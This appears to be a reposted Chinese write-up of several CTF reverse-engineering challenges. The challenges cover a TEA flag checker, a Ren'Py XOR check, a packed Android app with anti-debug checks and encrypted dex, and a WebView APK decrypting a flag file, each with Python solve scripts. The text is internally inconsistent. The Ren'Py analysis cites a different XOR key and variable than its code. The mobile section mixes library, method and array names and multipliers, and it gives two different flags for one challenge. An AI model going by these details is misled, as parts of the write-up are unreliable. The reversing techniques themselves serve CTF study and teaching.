sum = delta * 32for i in range(32): v1 -= ((v0<<4) + key[2]) ^ (v0 + sum) ^ ((v0>>5) + key[3]) v0 -= ((v1<<4) + key[0]) ^ (v1 + sum) ^ ((v1>>5) + key[1]) sum -= delta
main / `checker“
`printf("Please enter the flag: ");
fgets(buf, 0x80, stdin),用 strcspn(buf, "\r\n") 去掉换行;
reconstruct_key(key) 得到 4 个 32 位密钥;
malloc(40+1),循环 j = 0,2,4,6,8,对每一组 (enc_words[j], enc_words[j+1])
调用 tea_decrypt_block,写回解密结果;
组装期望字符串:"flag{" + 解密结果前 36 字节 + "}";
strcmp(input, expected),相等输出 Correct! well done.,否则 Wrong flag.
expected = "flag{" + TEA_decrypt(enc_words, key)[:36] + "}"
脚本
import struct
M = 0xffffffffdelta = 0x9e3779b9
A = [0x1f2e3d4c, 0x0a0b0c0d, 0x11223344, 0x55667788]B = [0xaabbccdd, 0x99aabbcc, 0x33445566, 0x77889900]C = [0x01020304, 0x05060708, 0x09101112, 0x13141516]D = [0xdeadbeef, 0xfeedface, 0xabad1dea, 0x0badf00d]
# 计算TEA密钥key = [(D[i] ^ ((C[i] + (A[i] ^ B[i])) & M)) & M for i in range(4)]
enc = [ 0x7d7649e3, 0x6282c52c, 0xf4fef264, 0x55cb8870, 0xa8ae752a, 0xa33ad53f, 0x1fa37c02, 0x6113601c, 0x60ef18b4, 0xeb31112c]
def tea_decrypt(v0, v1, k): s = (delta * 32) & M for _ in range(32): v1 = (v1 - ((((v0 << 4) & M) + k[2]) & M ^ ((v0 + s) & M) ^ (((v0 >> 5) + k[3]) & M))) & M v0 = (v0 - ((((v1 << 4) & M) + k[0]) & M ^ ((v1 + s) & M) ^ (((v1 >> 5) + k[1]) & M))) & M s = (s - delta) & M return v0, v1
def main(): out_buf = b'' # 两两一组解密 for idx in range(0, 10, 2): v0 = enc[idx] v1 = enc[idx + 1] a, b = tea_decrypt(v0, v1, key) out_buf += struct.pack('<II', a, b)
flag_data = out_buf[:36].decode() flag = f"flag{{{flag_data}}}" print(flag)
if __name__ == "__main__": main()
flag{0d3747db-16f6-4c62-9665-b3e7531cefc8}
10
galgame Writeup
打开压缩发现,Ren’Py 的剧情脚本 .rpy 会被编译成 .rpyc
所以题目逻辑在 game/script.rpyc 里。
二、还原 script.rpyc
Ren’Py 8 的 .rpyc 是 RENPY RPC2 容器格式:
- 开头 10 字节魔数
RENPY RPC2 - 之后是若干 12 字节表项:
<slot:uint32> <start:uint32> <length:uint32>,遇到slot==0结束 - 每个 slot 对应一段 zlib 压缩的 pickle 数据
解析并解压:
import zlib
data = open('game/script.rpyc', 'rb').read()assert data[:10] == b'RENPY RPC2'
offset = 10while True: slot, start, length = struct.unpack('<III', data[offset:offset+12]) offset += 12 if slot == 0: break chunk = data[start:start+length] pickle_data = zlib.decompress(chunk) # 解压得到pickle序列化的AST
解压出的 pickle 里可以提取到如下关键内容:
Character("CHECKER")cipher_data = b'\x32\x45\x22\x07\x0c\x0e\x0c\x48\x55\x4c\x4c\x49\x0f\x55\x4c\x0e\x0f\x4b\x55\x0c\x0b\x4b\x4f\x55\x4c\x4f\x0e\x48\x4b\x4a\x10\x0f\x4f\x0c\x40\x0b'
def xor_encode(input_bytes): return b''.join([bytes([b ^ 0x55]) for b in input_bytes])
"Welcome to this secret adventure.""Input the secret passphrase to get reward."user_input = renpy.input("Enter secret key:", length=60)user_input = user_input.strip()
encrypted_result = xor_encode(user_input.encode())if encrypted_result == cipher_data: "Congratulation! You found the secret." "Format your answer following platform rules."else: "Wrong passphrase, try again."
三、分析
校验逻辑是:把玩家输入 user_input 的每个字符 ord(c) ^ 0x78,再 .encode() 成字节,与 heart 比较。
XOR 是对合运算,直接对 heart 每个字节异或 0x78 即可还原输入:
cipher_data = b'\x32\x45\x22\x07\x0c\x0e\x0c\x48\x55\x4c\x4c\x49\x0f\x55\x4c\x0e\x0f\x4b\x55\x0c\x0b\x4b\x4f\x55\x4c\x4f\x0e\x48\x4b\x4a\x10\x0f\x4f\x0c\x40\x0b'plain = bytes(b ^ 0x55 for b in cipher_data).decode()print(plain)
assert bytes(b ^ 0x55 for b in plain.encode()) == cipher_data
结果是一个 明文:
解密得到明文:`9c42fa71-8bc3-4278-9119-f281ac63de27`
因此最终提交:
flag{9c42fa71-8bc3-4278-9119-f281ac63de27}
11
茧中人 (mobile) Writeup
文件结构
解压 打开发现:
| 文件 | 说明 |
| — | — |
| classes.dex (804 B) | 只有一个 StubApplication 壳 Application |
| lib/arm64-v8a/libloader.so | 壳的核心逻辑(native) |
| assets/init_res (6788 B) | 被加密的 real.dex |
| AndroidManifest.xml | package="com.xiaoyuyc.mobile2" ,application 指向 StubApplication |
classes.dex 里 StubApplication 只是加载 libloader.so:
static { System.loadLibrary("cocoon"); }public void attachBaseContext(Context c) { super.attachBaseContext(c); ... }public void onCreate() { ... }
真正逻辑都在 libloader.so 里,导出函数:
Java_com_xiaoyuyc_mobile2_StubApplication_attachBaseContextJava_com_xiaoyuyc_mobile2_StubApplication_onCreateJNI_OnLoad
libloader.so 是 AArch64 PIE,用 IDA/Ghidra/capstone 均可分析。
- 壳的整体流程
1.1 反调试 / 反模拟器
attachBaseContext(0x1248)里会:
- 取
android.os.Build.FINGERPRINT,strstr检查是否包含"generic"、"vbox",命中则exit(); - 检查
xposed/frida/vbox等字符串。
调试时跳过这些分支即可(静态分析不需要实际运行)。
1.2 onCreate 中初始化校验密钥
onCreate(0x133c)是一个被控制流平坦化的大函数。核心几步:
- 通过
getPackageName()拿到包名com.xiaoyuyc.mobile2; - 用包名生成一张 16 字节表(0x1d68~0x1e84):
for (i = 0; i < 16; i++) table[i] = (unsigned char)packageName[i % strlen(packageName)] ^ 0x4B;
生成的表为 39 35 37 74 22 33 3B 35 23 2F 23 39 74 37 35 38。
- 计算 APK 签名的哈希(Java
String.hashCode风格:h = h*33 + byte),
存入 .bss 全局 0xc3dc,并与硬编码值 0xB743FBD9 比较,不等就 exit()。
0xc3dc 的低字节 0xD9 之后会作为 checkFlag 的密钥。
3 解密 init_res 得到 real.dex(0x2e30)
char *buf = AAsset_read("res_encrypt"); // 密文资源char *out = malloc(len);unsigned char prev = 0xBB;for (i = 0; i < len; i++) { unsigned char v = prev ^ (i & 0xff) ^ buf[i] ^ table[i & 0xf]; v = ROL8(v, 4); // (v<<4)|(v>>4) out[i] = v; prev = buf[i]; // 状态携带“当前输入字节”}
解密后 out 的前 8 字节是 dex\n035\0,即 real.dex。随后写到
getFilesDir()/real.dex,再用 DexClassLoader 加载。
1.4 注册 native 方法
onCreate 中调用 RegisterNatives,把 VerificationCenter.checkFlag(String, byte[])
绑定到 native 函数 0x3db0(方法表在 .data.rel.ro,0x8138)。
- 解密脚本(第 1 步)
见同目录 solve_1_decrypt_init_res.py,核心:
pkg = "com.ctf.mobilecocoon"table = [(ord(pkg[i % len(pkg)]) ^ 0x4B) & 0xff for i in range(16)]prev = 0xbbout = bytearray()for i, c in enumerate(enc_data): v = (prev ^ (i & 0xff) ^ c ^ table[i & 0xf]) & 0xff v = ((v << 4) | (v >> 4)) & 0xff # ROL8 4bit out.append(v) prev = c
运行后得到 real.dex。
- 分析 real.dex
real.dex 很小(6788 B),有效的几个类:
com.xiaoyuyc.mobile2.CoreApplication(真正的 Application,负责替换 Instrumentation)com.xiaoyuyc.mobile2.LauncherActivitycom.xiaoyuyc.mobile2.modules.VerificationCenter
VerificationCenter 是校验界面(反编译关键部分):
private static final byte[] SECRET_BLOCK;static { SECRET_BLOCK = new byte[]{ 112, 41, -72, -13, 88, 21, -34, 74, 12, -94, 54, 30, -23, 61, 9, -66, 77, -111, 33, -42, 119, 26, -88, 81, 44, 103 };}private native boolean checkSecret(String s, byte[] b);private void lambda$onCreate$0(EditText e, View v) { if (checkSecret(e.getText().toString(), SECRET_BLOCK)) Toast.makeText(this, "✅ Access granted!", ...).show(); else Toast.makeText(this, "❌ Wrong secret", ...).show();}
UI 里是 flag{ + EditText + },所以只需要求出 EditText 的输入(即 flag{} 内部)。
- native
checkFlag算法(0x3db0)
伪代码(in 为输入字符串,exp 为 CIPHER_BLOCK):
s = key ^ 0x61; // key = [0xc420] 的低字节 = 0x47for (i = 0; i < len; i++) { r = ROL8(s ^ in[i], 5); // (v<<5)|(v>>3) if (exp[i] != (5*i + r) & 0xff) return false; s = exp[i]; // ★ 状态被更新为期望字节exp[i]}return true;
关键点:add x12, x8, x12 之后紧跟 and w12, w12, #0xff,所以下一轮的
状态 不是 旋转结果,而是 exp[i] = (3*i + r) & 0xff 本身。
反推:
exp = bytes([112, 41, -72, -13, 88, 21, -34, 74, 12, -94, 54, 30, -23, 61, 9, -66, 77, -111, 33, -42, 119, 26, -88, 81, 44, 103])s = 0x47 ^ 0x61plain_buf = bytearray()for i in range(len(exp)): r = (exp[i] - 5*i) & 0xff rot_r = ((r >> 5) | (r << 3)) & 0xff plain_buf.append(s ^ rot_r) s = exp[i]inner_text = plain_buf.decode()
得到内部字符串,及flag
flag{ctf_mobile_rev_shell_2026_ok}
- 复现
python solve_1_decrypt_init_res.py # 生成 real.dexpython solve_2_invert_checkflag.py # 输出 flag
inner : ctf_mobile_rev_shell_2026_okFLAG : flag{ctf_mobile_rev_shell_2026_ok}
Flag:flag{cyctf_mobile2_2026year_yes}
12
WebPortal
二、APK 结构速览
APK 本质是 ZIP,直接列出关键文件:
import zipfilez = zipfile.ZipFile('WebPortal_1.0.apk')for n in z.namelist(): print(n, z.getinfo(n).file_size)
最值得关注的文件:
assets/native/flag.dat 63 <-- 加密的 flag 数据lib/arm64-v8a/libchallenge.so 341064 <-- 核心 native 逻辑classes.dex 696732 <-- Java 层
assets/native/flag.dat 内容(63 字节):
M1:0798ae9764c74e2a6fd95fc81e6257d57841ef961d54afc0f64f6fdcd9b8
M1: 是自定义魔数,后面 60 个字符是十六进制 → 30 字节,显然是被加密的 flag。
三、Java 层:找到入口 (jadx)
用 jadx 反编译:
$env:JAVA_HOME="C:\Program Files\Java\jdk-25"jadx.bat -d jadx_out classes.dex
关键类 com.xiaoyuyc.mobile1.JsBridge:
public final class JsBridge { private final Context context; static { System.loadLibrary("challenge"); } // 加载 libchallenge.so
private static native String nativeGetFlag(Context context, String str);
@JavascriptInterface public String getFlag(String str) { return nativeGetFlag(this.context, str); // 用户输入 str 传入 native }}
MainActivity 里用 WebView 加载 assets/index.html,index.html 只提示 “Please scan the QR code to sign in.”。
结论:真正的校验 + 解密逻辑在 nativeGetFlag(Context, String) 中,必须逆向 libchallenge.so。
四、Native 层逆向准备
libchallenge.so 是 AArch64 ELF。先用 pyelftools 找符号:
from elftools.elf.elffile import ELFFilee = ELFFile(open('libchallenge.so','rb'))s = e.get_section_by_name('.dynsym')for sym in s.iter_symbols(): if 'native' in sym.name: print(sym.name, hex(sym['st_value']), sym['st_size'])# Java_com_xiaoyuyc_mobile1_JsBridge_nativeGetFlag 0x22470 4728
函数位于 .text 偏移 0x22470(.text 的 sh_addr == sh_offset,所以文件偏移也是 0x22470)。用 capstone 反汇编:
from capstone import *md = Cs(CS_ARCH_AARCH64, CS_MODE_ARM)code = open('libchallenge.so','rb').read()[0x22470:0x22470+4728]for i in md.disasm(code, 0x22470): print('0x%05x: %-8s %s' % (i.address, i.mnemonic, i.op_str))
JNI 参数:x0=JNIEnv*,x1=jobject(JsBridge),x2=Context,x3=jstring str。
4.1 输入校验:长度为 32,且把十六进制字母转小写
0x22510: cmp x9, #0x20 ; 输入长度必须 == 320x22514: b.ne 0x226fc...0x22548: ldur q1, [x8, #-7]0x2254c: add v2.16b, v1.16b, v0.16b ; v0 = 0xbf, 即每个字节 +0xbf(= -0x41)0x22554: cmp w10, #50x22558: b.hi ...0x22560: orr w10, w10, #0x20 ; 若 (b-0x41)<=5 即 b∈'A'..'F' -> 转小写
也就是输入必须是一个 32 位十六进制串,函数会先把 A-F 归一化为小写。
4.2 取设备 Android ID 并计算 MD5 作为”登录令牌”
接下来函数通过反射调用 Android API 获取设备标识:
getContentResolver()(getContentResolver字符串)android/provider/Settings$SecuregetString(...)+ 字符串android_id
拿到 android_id 后,在 0x22818 起调用一段 标准 MD5 实现。识别特征:初始化常量
0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476 (movk 拼出)
与 MD5 的四轮轮函数(FF/GG/HH/II)、以及末尾用 0123456789abcdef 把 16 字节摘要格式化成 32 位小写 hex。
最后在 0x22c50 处用向量/字节比较:
0x22c50: cmp x8, x12 ; 长度比较0x22c50..: eor 逐字节比较0x22d84: tst w12, #0xff0x22d88: b.eq 0x22da8 ; 相等 -> 继续0x22d8c: ... "Invalid token!" ; 不相等 -> 返回 Invalid token!
即:输入 str 必须等于 MD5(android_id),这是”登录门禁”。
注意:这一步类似一个”认证开关”,但真正决定 flag 内容的是下一步对 flag.dat 的解密,密钥是硬编码的,与设备无关。因此无需真实设备也能静态解出 flag。
五、flag.dat 解密算法
5.1 解析 M1: 魔数与十六进制
0x22eb4: mov w8, #0x314d0x22ec0: movk w8, #0x3a, lsl #16 ; w8 = 0x003a314d -> 内存字节 4d 31 3a 00 = "M1:\0"0x22ed0: bl 0x4de50 ; 比较 / 查找前缀
确认以 M1: 开头后,0x23150 起把后面 60 个 hex 字符解码成 30 字节(支持 0-9a-fA-F)。
5.2 提取硬编码密钥 K
在 0x22efc 处从 rodata 取两个 16 字节常量并逐字节异或:
0x22efc: adr x8, 0x161a80x22f08: adr x10, 0x161b80x22f0c: ldrb w9, [x8]0x22f10: ldrb w11, [x10]...0x22f3c: eor w14, w15, w14...0x23030: orr x9, x15, x90x23038: stp x9, x8, [sp, #0x68] ; 结果(16 字节)存到 sp+0x68
两段常量(.rodata,sh_addr==sh_offset):
0x161a8: 5d 91 c4 2e b7 03 68 f0 19 aa 7c 44 d3 28 9f 610x161b8: 57 b1 e2 85 de 92 7a 93 2e 4b 7f 5d 77 76 71 fd
异或得到密钥:
K = 0a 20 26 ab 69 91 12 63 37 e1 03 19 a4 5e ee 9c
对应 K[0..15],其中 K[7] = 0x63。
5.3 逐字节解密
在 0x23220 起是一个长度 30 的循环,把上一步的 30 字节 D[i] 变换成 flag。反汇编核心:
0x23224: ldrb w12, [sp, #0x6f] ; w12 = K[7] = 0x630x23228: mov w13, #-0x5b ; 0xA50x2323c: mov w9, #3 ; 密钥下标初值 = 30x23248: eor w15, w12, w13 ; s = K[7] ^ 0xA5
loop (i = x8, 从 0 到 29):0x23280: ... 除法魔法(x10 = 0x2492492492493)0x23284: and x17, x9, #0xf0x23288: ldrb w17, [x12, x17] ; K[(3+5*i) & 0xf]0x2328c: madd w1, w8, w13, w14 ; w1 = i*29 + 65 (w13=0x1d=29, w14=0x41=65)0x23290: eor w15, w17, w15 ; s ^= K[idx]0x23298: eor w15, w15, w1 ; s ^= (i*29 + 65)0x232a0: ubfx w17, w15, #5, #30x232a4: ldrb w0, [x20, x8] ; D[i]0x232ac: orr w15, w17, w15, lsl #3 ; s = rotl8(s, 3)0x232b8: eor w16, w15, w0 ; t = s ^ D[i]0x232bc: b.eq 0x2325c ; 若 i % 7 == 0 跳过旋转0x232d0: lsr w17, w1, w17 ; 旋转:右移 (i % 7)0x232d4: lsl w16, w16, w0 ; 左移 (8 - i % 7)0x232d8: orr w16, w17, w16 ; t = ror8(t, i % 7)0x2325c: strb w16, [dest, x8] ; 输出0x23264: add x9, x9, #5 ; 密钥下标 +5 (mod 16)
整理成伪代码:
s = K[7] ^ 0xA5for i in range(30): s ^= K[(3 + 5*i) & 0xF] s ^= (i * 29 + 65) & 0xFF s = rotl8(s, 3) t = s ^ D[i] if i % 7 != 0: t = ror8(t, i % 7) out[i] = t
其中 rotl8/rorr8 为 8 位循环移位。
六、复现解密脚本
# flag.dat 内容raw = "M1:0798ae9764c74e2a6fd95fc81e6257d57841ef961d54afc0f64f6fdcd9b8"assert raw.startswith("M1:")D = bytes.fromhex(raw[3:]) # 30 字节
# 硬编码密钥 = 两段常量异或A = bytes.fromhex('5d91c42eb70368f019aa7c44d3289f61')B = bytes.fromhex('57b1e285de927a932e4b7f5d777671fd')K = bytes(x ^ y for x, y in zip(A, B)) # 0a2026ab6991126337e10319a45eee9c
def rotl8(x, n): return ((x << n) | (x >> (8 - n))) & 0xFF
def ror8(x, n): return ((x >> n) | (x << (8 - n))) & 0xFF
def main(): s = K[7] ^ 0xA5 out = bytearray() for i in range(len(D)): s ^= K[(3 + 5 * i) & 0xF] s ^= (i * 29 + 65) & 0xFF s = rotl8(s, 3) t = s ^ D[i] if i % 7: t = ror8(t, i % 7) out.append(t)
print(out.decode())
if __name__ == "__main__": main()
Flag:
flag{WebView_MobIleI_2026Year}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:三社院信息Sec 三社院信息Sec
三社院信息Sec《第一届创宇杯wp》